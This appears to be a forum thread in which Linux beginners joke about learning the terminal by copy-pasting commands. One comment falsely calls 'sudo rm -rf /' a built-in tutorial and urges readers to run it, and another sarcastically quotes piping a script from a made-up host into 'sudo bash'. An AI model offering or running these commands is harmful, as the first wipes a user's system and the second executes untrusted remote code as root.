I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)

The real learning happens when you copy and paste something you shouldn't and bork your system. That's basically how I started.
Me learning anything ever. Troubleshooting is the real learning phase.
No offence, but I hope you don't hold a high ranking government position, what with catastrophic error being the only way you learn 😁
I hope I never hold a high ranking government position too
I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.
It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /
Type your password when prompted and you're golden. No more linux issues ever again.
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that
That’s probably how most of us started, but then you start getting familiar with things…
And that's when you really get good at breaking shit.
In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.
Nothing better than curl https://totally-legit-installer.com/script | sudo bash
I actually take the time to type everything out, but I still have no idea what I’m doing.
